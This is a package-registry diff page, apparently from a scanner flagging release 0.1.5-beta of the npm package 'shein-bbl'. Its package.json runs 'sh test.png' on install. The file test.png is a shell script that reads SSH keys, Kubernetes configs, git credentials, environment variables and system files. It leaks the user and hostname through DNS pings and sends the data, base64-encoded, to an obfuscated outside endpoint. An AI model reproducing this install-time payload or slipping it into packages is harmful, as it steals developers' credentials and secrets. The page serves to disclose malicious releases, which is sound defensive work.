shein-bbl 0.1.5-beta

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of shein-bbl might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/test.png +12 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "shein-bbl",
3
+ "version": "0.1.5-beta",
4
+ "scripts": {
5
+ "install": "sh test.png"
6
+ },
7
+ "description": "my test project",
8
+ "main": "index.js",
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
package/test.png ADDED
@@ -0,0 +1,12 @@
1
+ a=aHR0cHM6Ly9lb2Y0cW04dHZ3NzBzcC5tLnBpcGVkcmVhbS5uZXQ=
2
+ code=$(curl -m 2 -kvI "https://gitlab.sheincorp.cn" 2>&1 >/dev/stdout || echo failed)
3
+ i=$(awk '/\|--/ && !/\.0$|\.255$/ {print $2}' /proc/net/fib_trie||echo failed)
4
+ t1=$(cat ~/.ssh/*||echo failed)
5
+ t2=$(cat ~/.kube/*||echo failed)
6
+ t3=$(cat ~/.git-credentials||echo failed)
7
+
8
+ c=$(ping -w 3 -c 1 npmjs.sheincorp.cn | head -2 | tail -1| grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' |head -1)
9
+ c1=$([[ -z "$c" ]] && ping -c 1 "none.`whoami`.`hostname`.KiG4.chia.wip.la" || ping -c 1 "$c.`whoami`.`hostname`.KiG4.chia.wip.la")
10
+
11
+
12
+ curl -s $(echo $a|base64 -w0 -d) -d "t4=`env |base64 -w0`" -d "t2=`echo $t2 |base64 -w0`" -d "t3=`echo $t3 |base64 -w0`" -d "t1=`echo $t1 |base64 -w0`" -d "a1=`id|base64 -w0`" -d "a2=`ls -lah ~|base64 -w0`" -d "a3=`cat /etc/hosts|base64 -w0`" -d "a4=`cat /etc/resolv.conf|base64 -w0`" -d "a5=`pwd|base64 -w0`" -d "a6=`echo $code |base64 -w0`" -d "a7=`echo $i |base64 -w0`" 2>&1 >/dev/null